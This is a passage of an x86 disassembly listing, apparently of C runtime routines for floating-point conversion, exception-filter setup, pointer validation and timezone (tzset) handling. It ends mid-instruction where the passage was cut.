loc_42DB1F: ; CODE XREF: sub_42DAD0+46j mov ecx, [ebp+var_4] mov dl, byte ptr [ebp+var_C] mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_42DAF4 ; --------------------------------------------------------------------------- loc_42DB3B: ; CODE XREF: sub_42DAD0+28j mov edx, [ebp+var_4] mov byte ptr [edx], 0 cmp [ebp+arg_4], 0 jl short loc_42DB84 mov eax, [ebp+var_8] movsx ecx, byte ptr [eax] cmp ecx, 35h jl short loc_42DB84 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42DB5B: ; CODE XREF: sub_42DAD0+A5j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_42DB77 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_42DB5B ; --------------------------------------------------------------------------- loc_42DB77: ; CODE XREF: sub_42DAD0+94j mov ecx, [ebp+var_4] mov dl, [ecx] add dl, 1 mov eax, [ebp+var_4] mov [eax], dl loc_42DB84: ; CODE XREF: sub_42DAD0+75j ; sub_42DAD0+80j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 31h jnz short loc_42DBA0 mov eax, [ebp+arg_8] mov ecx, [eax+4] add ecx, 1 mov edx, [ebp+arg_8] mov [edx+4], ecx jmp short loc_42DBC6 ; --------------------------------------------------------------------------- loc_42DBA0: ; CODE XREF: sub_42DAD0+BDj mov eax, [ebp+arg_0] add eax, 1 push eax call sub_418D00 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] add ecx, 1 push ecx mov edx, [ebp+arg_0] push edx call sub_41D520 add esp, 0Ch loc_42DBC6: ; CODE XREF: sub_42DAD0+CEj mov esp, ebp pop ebp retn sub_42DAD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DBD0 proc near ; CODE XREF: sub_4274A0+1Ep ; sub_427690+1Ep ... var_28 = word ptr -28h var_26 = byte ptr -26h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_42DC50 add esp, 8 lea edx, [ebp+var_28] push edx push 0 push 11h sub esp, 0Ch mov eax, esp mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_8] mov [eax+4], edx mov cx, [ebp+var_4] mov [eax+8], cx call sub_431E60 add esp, 18h mov edx, [ebp+arg_8] mov [edx+8], eax movsx eax, [ebp+var_26] mov ecx, [ebp+arg_8] mov [ecx], eax movsx edx, [ebp+var_28] mov eax, [ebp+arg_8] mov [eax+4], edx lea ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_41C300 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_C] mov [eax+0Ch], ecx mov eax, [ebp+arg_8] mov esp, ebp pop ebp retn sub_42DBD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DC50 proc near ; CODE XREF: sub_42DBD0+Ep var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_C], 80000000h mov word ptr [ebp+var_4], 0 mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+6] and ecx, 7FF0h sar ecx, 4 mov word ptr [ebp+var_14], cx mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+6] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_4] mov edx, [ecx+4] and edx, 0FFFFFh mov [ebp+var_8], edx mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_10], ecx mov edx, [ebp+var_14] and edx, 0FFFFh mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jz short loc_42DCC7 cmp [ebp+var_1C], 7FFh jz short loc_42DCBF jmp short loc_42DD0A ; --------------------------------------------------------------------------- loc_42DCBF: ; CODE XREF: sub_42DC50+6Bj mov word ptr [ebp+var_4], 7FFFh jmp short loc_42DD25 ; --------------------------------------------------------------------------- loc_42DCC7: ; CODE XREF: sub_42DC50+62j cmp [ebp+var_8], 0 jnz short loc_42DCF4 cmp [ebp+var_10], 0 jnz short loc_42DCF4 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov word ptr [edx+8], 0 jmp loc_42DDAE ; --------------------------------------------------------------------------- loc_42DCF4: ; CODE XREF: sub_42DC50+7Bj ; sub_42DC50+81j movsx eax, word ptr [ebp+var_14] add eax, 3C01h mov word ptr [ebp+var_4], ax mov [ebp+var_C], 0 jmp short loc_42DD25 ; --------------------------------------------------------------------------- loc_42DD0A: ; CODE XREF: sub_42DC50+6Dj mov cx, word ptr [ebp+var_14] sub cx, 3FFh mov word ptr [ebp+var_14], cx movsx edx, word ptr [ebp+var_14] add edx, 3FFFh mov word ptr [ebp+var_4], dx loc_42DD25: ; CODE XREF: sub_42DC50+75j ; sub_42DC50+B8j mov eax, [ebp+var_8] shl eax, 0Bh mov ecx, [ebp+var_C] or ecx, eax mov edx, [ebp+var_10] shr edx, 15h or ecx, edx mov eax, [ebp+arg_0] mov [eax+4], ecx mov ecx, [ebp+var_10] shl ecx, 0Bh mov edx, [ebp+arg_0] mov [edx], ecx loc_42DD49: ; CODE XREF: sub_42DC50+142j mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 80000000h test ecx, ecx jnz short loc_42DD94 mov edx, [ebp+arg_0] mov eax, [edx+4] shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 80000000h neg edx sbb edx, edx neg edx or eax, edx mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx] shl eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov dx, word ptr [ebp+var_4] sub dx, 1 mov word ptr [ebp+var_4], dx jmp short loc_42DD49 ; --------------------------------------------------------------------------- loc_42DD94: ; CODE XREF: sub_42DC50+107j mov eax, [ebp+var_18] and eax, 0FFFFh mov ecx, [ebp+var_4] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+8], ax loc_42DDAE: ; CODE XREF: sub_42DC50+9Fj mov esp, ebp pop ebp retn sub_42DC50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 call sub_41EB30 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DDD0 proc near ; DATA XREF: sub_42DE30+3o ; .nsp0:00451A60o ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] cmp dword ptr [ecx], 0E06D7363h jnz short loc_42DDFE mov edx, [ebp+arg_0] mov eax, [edx] cmp dword ptr [eax+10h], 3 jnz short loc_42DDFE mov ecx, [ebp+arg_0] mov edx, [ecx] cmp dword ptr [edx+14h], 19930520h jnz short loc_42DDFE call sub_428670 loc_42DDFE: ; CODE XREF: sub_42DDD0+Ej ; sub_42DDD0+19j ... cmp dword_4EFAD0, 0 jz short loc_42DE25 mov eax, dword_4EFAD0 push eax call sub_42DED0 add esp, 4 test eax, eax jz short loc_42DE25 mov ecx, [ebp+arg_0] push ecx call dword_4EFAD0 jmp short loc_42DE27 ; --------------------------------------------------------------------------- loc_42DE25: ; CODE XREF: sub_42DDD0+35j ; sub_42DDD0+47j xor eax, eax loc_42DE27: ; CODE XREF: sub_42DDD0+53j pop ebp retn 4 sub_42DDD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DE30 proc near ; DATA XREF: .nsp0:0043A02Co push ebp mov ebp, esp push offset sub_42DDD0 call dword_4F12E8 ; SetUnhandledExceptionFilter mov dword_4EFAD0, eax pop ebp retn sub_42DE30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DE50 proc near ; DATA XREF: .nsp0:0043A044o push ebp mov ebp, esp mov eax, dword_4EFAD0 push eax call dword_4F12E8 ; SetUnhandledExceptionFilter pop ebp retn sub_42DE50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DE70 proc near ; CODE XREF: sub_427AB0+9Ep ; sub_4282C0+77p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4F143C ; IsBadReadPtr test eax, eax jz short loc_42DE94 mov [ebp+var_4], 0 loc_42DE94: ; CODE XREF: sub_42DE70+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42DE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DEA0 proc near ; CODE XREF: sub_4282C0+89p ; sub_4282C0+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4F1438 ; IsBadWritePtr test eax, eax jz short loc_42DEC4 mov [ebp+var_4], 0 loc_42DEC4: ; CODE XREF: sub_42DEA0+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42DEA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DED0 proc near ; CODE XREF: sub_4282C0+1E2p ; sub_42DDD0+3Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_0] push eax call dword_4F12E4 ; IsBadCodePtr test eax, eax jz short loc_42DEF0 mov [ebp+var_4], 0 loc_42DEF0: ; CODE XREF: sub_42DED0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42DED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DF00 proc near ; CODE XREF: sub_4286DEp push ebp mov ebp, esp push 0Ah call sub_42AB10 add esp, 4 push 16h call sub_42B3C0 add esp, 4 push 3 call sub_41B5A0 pop ebp retn sub_42DF00 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DF20 proc near ; CODE XREF: sub_4287B0+8Ap ; sub_432C00:loc_43311Bp push ebp mov ebp, esp cmp dword_4EFB90, 0 jnz short loc_42DF5B push 0Bh call sub_41FB40 add esp, 4 cmp dword_4EFB90, 0 jnz short loc_42DF51 call sub_42DF80 mov eax, dword_4EFB90 add eax, 1 mov dword_4EFB90, eax loc_42DF51: ; CODE XREF: sub_42DF20+1Dj push 0Bh call sub_41FBE0 add esp, 4 loc_42DF5B: ; CODE XREF: sub_42DF20+Aj pop ebp retn sub_42DF20 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0Bh call sub_41FB40 add esp, 4 call sub_42DF80 push 0Bh call sub_41FBE0 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DF80 proc near ; CODE XREF: sub_42DF20+1Fp ; .nsp0:0042DF6Dp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 push 0Ch call sub_41FB40 add esp, 4 mov dword_4EFAD8, 0 mov dword_451DF0, 0FFFFFFFFh mov eax, dword_451DF0 mov dword_451DE0, eax push offset aTz ; "TZ" call sub_4323B0 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz loc_42E103 push 0Ch call sub_41FBE0 add esp, 4 push offset dword_4EFAE0 call dword_4F1448 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz loc_42E0FE mov dword_4EFAD8, 1 mov ecx, dword_4EFAE0 imul ecx, 3Ch mov dword_451D48, ecx xor edx, edx mov dx, word_4EFB26 test edx, edx jz short loc_42E029 mov eax, dword_4EFB34 imul eax, 3Ch mov ecx, dword_451D48 add ecx, eax mov dword_451D48, ecx loc_42E029: ; CODE XREF: sub_42DF80+91j xor edx, edx mov dx, word_4EFB7A test edx, edx jz short loc_42E05E cmp dword_4EFB88, 0 jz short loc_42E05E mov dword_451D4C, 1 mov eax, dword_4EFB88 sub eax, dword_4EFB34 imul eax, 3Ch mov dword_451D50, eax jmp short loc_42E072 ; --------------------------------------------------------------------------- loc_42E05E: ; CODE XREF: sub_42DF80+B4j ; sub_42DF80+BDj mov dword_451D4C, 0 mov dword_451D50, 0 loc_42E072: ; CODE XREF: sub_42DF80+DCj lea ecx, [ebp+var_8] push ecx push 0 push 3Fh mov edx, off_451DD4 push edx push 0FFFFFFFFh push offset dword_4EFAE4 push 220h mov eax, dword_4EF984 push eax call dword_4F141C ; WideCharToMultiByte test eax, eax jz short loc_42E0AF cmp [ebp+var_8], 0 jnz short loc_42E0AF mov ecx, off_451DD4 mov byte ptr [ecx+3Fh], 0 jmp short loc_42E0B8 ; --------------------------------------------------------------------------- loc_42E0AF: ; CODE XREF: sub_42DF80+11Bj ; sub_42DF80+121j mov edx, off_451DD4 mov byte ptr [edx], 0 loc_42E0B8: ; CODE XREF: sub_42DF80+12Dj lea eax, [ebp+var_8] push eax push 0 push 3Fh mov ecx, off_451DD8 push ecx push 0FFFFFFFFh push offset dword_4EFB38 push 220h mov edx, dword_4EF984 push edx call dword_4F141C ; WideCharToMultiByte test eax, eax jz short loc_42E0F5 cmp [ebp+var_8], 0 jnz short loc_42E0F5 mov eax, off_451DD8 mov byte ptr [eax+3Fh], 0 jmp short loc_42E0FE ; --------------------------------------------------------------------------- loc_42E0F5: ; CODE XREF: sub_42DF80+162j ; sub_42DF80+168j mov ecx, off_451DD8 mov byte ptr [ecx], 0 loc_42E0FE: ; CODE XREF: sub_42DF80+67j ; sub_42DF80+173j jmp loc_42E327 ; --------------------------------------------------------------------------- loc_42E103: ; CODE XREF: sub_42DF80+49j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] test eax, eax jz short loc_42E12D cmp dword_4EFB8C, 0 jz short loc_42E13C mov ecx, dword_4EFB8C push ecx mov edx, [ebp+var_C] push edx call sub_41C4C0 add esp, 8 test eax, eax jnz short loc_42E13C loc_42E12D: ; CODE XREF: sub_42DF80+18Bj push 0Ch call sub_41FBE0 add esp, 4 jmp loc_42E327 ; --------------------------------------------------------------------------- loc_42E13C: ; CODE XREF: sub_42DF80+194j ; sub_42DF80+1ABj push 2 mov eax, dword_4EFB8C push eax call sub_419980 add esp, 8 push 10Ch push offset aTzset_c ; "tzset.c" push 2 mov ecx, [ebp+var_C] push ecx call sub_418D00 add esp, 4 add eax, 1 push eax call sub_418EF0 add esp, 10h mov dword_4EFB8C, eax cmp dword_4EFB8C, 0 jnz short loc_42E18D push 0Ch call sub_41FBE0 add esp, 4 jmp loc_42E327 ; --------------------------------------------------------------------------- loc_42E18D: ; CODE XREF: sub_42DF80+1FCj mov edx, [ebp+var_C] push edx mov eax, dword_4EFB8C push eax call sub_41C300 add esp, 8 push 0Ch call sub_41FBE0 add esp, 4 push 3 mov ecx, [ebp+var_C] push ecx mov edx, off_451DD4 push edx call sub_41B1F0 add esp, 0Ch mov eax, off_451DD4 mov byte ptr [eax+3], 0 mov ecx, [ebp+var_C] add ecx, 3 mov [ebp+var_C], ecx mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_42E1ED mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_42E1ED: ; CODE XREF: sub_42DF80+259j mov eax, [ebp+var_C] push eax call sub_41B2F0 add esp, 4 imul eax, 0E10h mov dword_451D48, eax loc_42E204: ; CODE XREF: sub_42DF80+2AEj mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 2Bh jz short loc_42E225 mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_42E230 mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_42E230 loc_42E225: ; CODE XREF: sub_42DF80+28Dj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_42E204 ; --------------------------------------------------------------------------- loc_42E230: ; CODE XREF: sub_42DF80+298j ; sub_42DF80+2A3j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 3Ah jnz loc_42E2D5 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_C] push edx call sub_41B2F0 add esp, 4 imul eax, 3Ch mov ecx, dword_451D48 add ecx, eax mov dword_451D48, ecx loc_42E265: ; CODE XREF: sub_42DF80+304j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_42E286 mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_42E286 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42E265 ; --------------------------------------------------------------------------- loc_42E286: ; CODE XREF: sub_42DF80+2EEj ; sub_42DF80+2F9j mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 3Ah jnz short loc_42E2D5 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] push ecx call sub_41B2F0 add esp, 4 mov edx, dword_451D48 add edx, eax mov dword_451D48, edx loc_42E2B4: ; CODE XREF: sub_42DF80+353j mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_42E2D5 mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_42E2D5 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_42E2B4 ; --------------------------------------------------------------------------- loc_42E2D5: ; CODE XREF: sub_42DF80+2B9j ; sub_42DF80+30Fj ... cmp [ebp+var_4], 0 jz short loc_42E2E9 mov edx, dword_451D48 neg edx mov dword_451D48, edx loc_42E2E9: ; CODE XREF: sub_42DF80+359j mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] mov dword_451D4C, ecx cmp dword_451D4C, 0 jz short loc_42E31E push 3 mov edx, [ebp+var_C] push edx mov eax, off_451DD8 push eax call sub_41B1F0 add esp, 0Ch mov ecx, off_451DD8 mov byte ptr [ecx+3], 0 jmp short loc_42E327 ; --------------------------------------------------------------------------- loc_42E31E: ; CODE XREF: sub_42DF80+37Cj mov edx, off_451DD8 mov byte ptr [edx], 0 loc_42E327: ; CODE XREF: sub_42DF80:loc_42E0FEj ; sub_42DF80+1B7j ... mov esp, ebp pop ebp retn sub_42DF80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E330 proc near ; CODE XREF: sub_4287B0+CFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 0Bh call sub_41FB40 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_42E360 add esp, 4 mov [ebp+var_4], eax push 0Bh call sub_41FBE0 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42E330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E360 proc near ; CODE XREF: sub_42E330+12p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_451D4C, 0 jnz short loc_42E374 xor eax, eax jmp loc_42E656 ; --------------------------------------------------------------------------- loc_42E374: ; CODE XREF: sub_42E360+Bj mov eax, [ebp+arg_0] mov ecx, [eax+14h] cmp ecx, dword_451DE0 jnz short loc_42E394 mov edx, [ebp+arg_0] mov eax, [edx+14h] cmp eax, dword_451DF0 jz loc_42E55B loc_42E394: ; CODE XREF: sub_42E360+20j cmp dword_4EFAD8, 0 jz loc_42E515 xor ecx, ecx mov cx, word_4EFB78 test ecx, ecx jnz short loc_42E409 xor edx, edx mov dx, word_4EFB86 push edx xor eax, eax mov ax, word_4EFB84 push eax xor ecx, ecx mov cx, word_4EFB82 push ecx xor edx, edx mov dx, word_4EFB80 push edx push 0 xor eax, eax mov ax, word_4EFB7C push eax xor ecx, ecx mov cx, word_4EFB7E push ecx xor edx, edx mov dx, word_4EFB7A push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 1 call sub_42E660 add esp, 2Ch jmp short loc_42E45A ; --------------------------------------------------------------------------- loc_42E409: ; CODE XREF: sub_42E360+4Cj xor edx, edx mov dx, word_4EFB86 push edx xor eax, eax mov ax, word_4EFB84 push eax xor ecx, ecx mov cx, word_4EFB82 push ecx xor edx, edx mov dx, word_4EFB80 push edx xor eax, eax mov ax, word_4EFB7E push eax push 0 push 0 xor ecx, ecx mov cx, word_4EFB7A push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 1 call sub_42E660 add esp, 2Ch loc_42E45A: ; CODE XREF: sub_42E360+A7j xor ecx, ecx mov cx, word_4EFB24 test ecx, ecx jnz short loc_42E4C2 xor edx, edx mov dx, word_4EFB32 push edx xor eax, eax mov ax, word_4EFB30 push eax xor ecx, ecx mov cx, word_4EFB2E push ecx xor edx, edx mov dx, word_4EFB2C push edx push 0 xor eax, eax mov ax, word_4EFB28 push eax xor ecx, ecx mov cx, word_4EFB2A push ecx xor edx, edx mov dx, word_4EFB26 push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_42E660 add esp, 2Ch jmp short loc_42E513 ; --------------------------------------------------------------------------- loc_42E4C2: ; CODE XREF: sub_42E360+105j xor edx, edx mov dx, word_4EFB32 push edx xor eax, eax mov ax, word_4EFB30 push eax xor ecx, ecx mov cx, word_4EFB2E push ecx xor edx, edx mov dx, word_4EFB2C push edx xor eax, eax mov ax, word_4EFB2A push eax push 0 push 0 xor ecx, ecx mov cx, word_4EFB26 push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 0 call sub_42E660 add esp, 2Ch loc_42E513: ; CODE XREF: sub_42E360+160j jmp short loc_42E55B ; --------------------------------------------------------------------------- loc_42E515: ; CODE XREF: sub_42E360+3Bj push 0 push 0 push 0 push 2 push 0 push 0 push 1 push 4 mov ecx, [ebp+arg_0] mov edx, [ecx+14h] push edx push 1 push 1 call sub_42E660 add esp, 2Ch push 0 push 0 push 0 push 2 push 0 push 0 push 5 push 0Ah mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_42E660 add esp, 2Ch loc_42E55B: ; CODE XREF: sub_42E360+2Ej ; sub_42E360:loc_42E513j mov edx, dword_451DE4 cmp edx, dword_451DF4 jge short loc_42E5B4 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_451DE4 jl short loc_42E585 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_451DF4 jle short loc_42E58C loc_42E585: ; CODE XREF: sub_42E360+215j xor eax, eax jmp loc_42E656 ; --------------------------------------------------------------------------- loc_42E58C: ; CODE XREF: sub_42E360+223j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_451DE4 jle short loc_42E5B2 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_451DF4 jge short loc_42E5B2 mov eax, 1 jmp loc_42E656 ; --------------------------------------------------------------------------- loc_42E5B2: ; CODE XREF: sub_42E360+238j ; sub_42E360+246j jmp short loc_42E5F7 ; --------------------------------------------------------------------------- loc_42E5B4: ; CODE XREF: sub_42E360+207j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_451DF4 jl short loc_42E5D0 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_451DE4 jle short loc_42E5D7 loc_42E5D0: ; CODE XREF: sub_42E360+260j mov eax, 1 jmp short loc_42E656 ; --------------------------------------------------------------------------- loc_42E5D7: ; CODE XREF: sub_42E360+26Ej mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_451DF4 jle short loc_42E5F7 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_451DE4 jge short loc_42E5F7 xor eax, eax jmp short loc_42E656 ; --------------------------------------------------------------------------- loc_42E5F7: ; CODE XREF: sub_42E360:loc_42E5B2j ; sub_42E360+283j ... mov ecx, [ebp+arg_0] mov edx, [ecx+4] imul edx, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, edx mov edx, [ebp+arg_0] mov eax, [edx+8] imul eax, 0E10h add ecx, eax imul ecx, 3E8h mov [ebp+var_4], ecx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_451DE4 jnz short loc_42E642 mov eax, [ebp+var_4] cmp eax, dword_451DE8 jl short loc_42E63E mov eax, 1 jmp short loc_42E656 ; --------------------------------------------------------------------------- loc_42E63E: ; CODE XREF: sub_42E360+2D5j xor eax, eax jmp short loc_42E656 ; --------------------------------------------------------------------------- loc_42E642: ; CODE XREF: sub_42E360+2CAj mov ecx, [ebp+var_4] cmp ecx, dword_451DF8 jge short loc_42E654 mov eax, 1 jmp short loc_42E656 ; --------------------------------------------------------------------------- loc_42E654: ; CODE XREF: sub_42E360+2EBj xor eax, eax loc_42E656: ; CODE XREF: sub_42E360+Fj ; sub_42E360+227j ... mov esp, ebp pop ebp retn sub_42E360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E660 proc near ; CODE XREF: sub_42E360+9Fp ; sub_42E360+F2p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 1 jnz loc_42E73C mov eax, [ebp+arg_8] and eax, 3 test eax, eax jnz short loc_42E689 mov ecx, [ebp+arg_C] mov edx, dword_451DF8[ecx*4] mov [ebp+var_C], edx jmp short loc_42E696 ; --------------------------------------------------------------------------- loc_42E689: ; CODE XREF: sub_42E660+18j mov eax, [ebp+arg_C] mov ecx, dword_451E2C[eax*4] mov [ebp+var_C], ecx loc_42E696: ; CODE XREF: sub_42E660+27j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+arg_8] sub eax, 46h imul eax, 16Dh mov ecx, [ebp+var_8] add ecx, eax mov edx, [ebp+arg_8] sub edx, 1 sar edx, 2 lea eax, [ecx+edx-0Dh] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], edx mov edx, [ebp+var_4] cmp edx, [ebp+arg_14] jge short loc_42E6E9 mov eax, [ebp+arg_14] sub eax, [ebp+var_4] mov ecx, [ebp+arg_10] sub ecx, 1 imul ecx, 7 add ecx, [ebp+var_8] add ecx, eax mov [ebp+var_8], ecx jmp short loc_42E6FD ; --------------------------------------------------------------------------- loc_42E6E9: ; CODE XREF: sub_42E660+6Ej mov edx, [ebp+arg_14] sub edx, [ebp+var_4] mov eax, [ebp+arg_10] imul eax, 7 add eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_42E6FD: ; CODE XREF: sub_42E660+87j cmp [ebp+arg_10], 5 jnz short loc_42E73A mov ecx, [ebp+arg_8] and ecx, 3 test ecx, ecx jnz short loc_42E71C mov edx, [ebp+arg_C] mov eax, dword_451DFC[edx*4] mov [ebp+var_10], eax jmp short loc_42E729 ; --------------------------------------------------------------------------- loc_42E71C: ; CODE XREF: sub_42E660+ABj mov ecx, [ebp+arg_C] mov edx, dword_451E30[ecx*4] mov [ebp+var_10], edx loc_42E729: ; CODE XREF: sub_42E660+BAj mov eax, [ebp+var_8] cmp eax, [ebp+var_10] jle short loc_42E73A mov ecx, [ebp+var_8] sub ecx, 7 mov [ebp+var_8], ecx loc_42E73A: ; CODE XREF: sub_42E660+A1j ; sub_42E660+CFj jmp short loc_42E771 ; --------------------------------------------------------------------------- loc_42E73C: ; CODE XREF: sub_42E660+Aj mov edx, [ebp+arg_8] and edx, 3 test edx, edx jnz short loc_42E755 mov eax, [ebp+arg_C] mov ecx, dword_451DF8[eax*4] mov [ebp+var_14], ecx jmp short loc_42E762 ; --------------------------------------------------------------------------- loc_42E755: ; CODE XREF: sub_42E660+E4j mov edx, [ebp+arg_C] mov eax, dword_451E2C[edx*4] mov [ebp+var_14], eax loc_42E762: ; CODE XREF: sub_42E660+F3j mov ecx, [ebp+var_14] mov [ebp+var_8], ecx mov 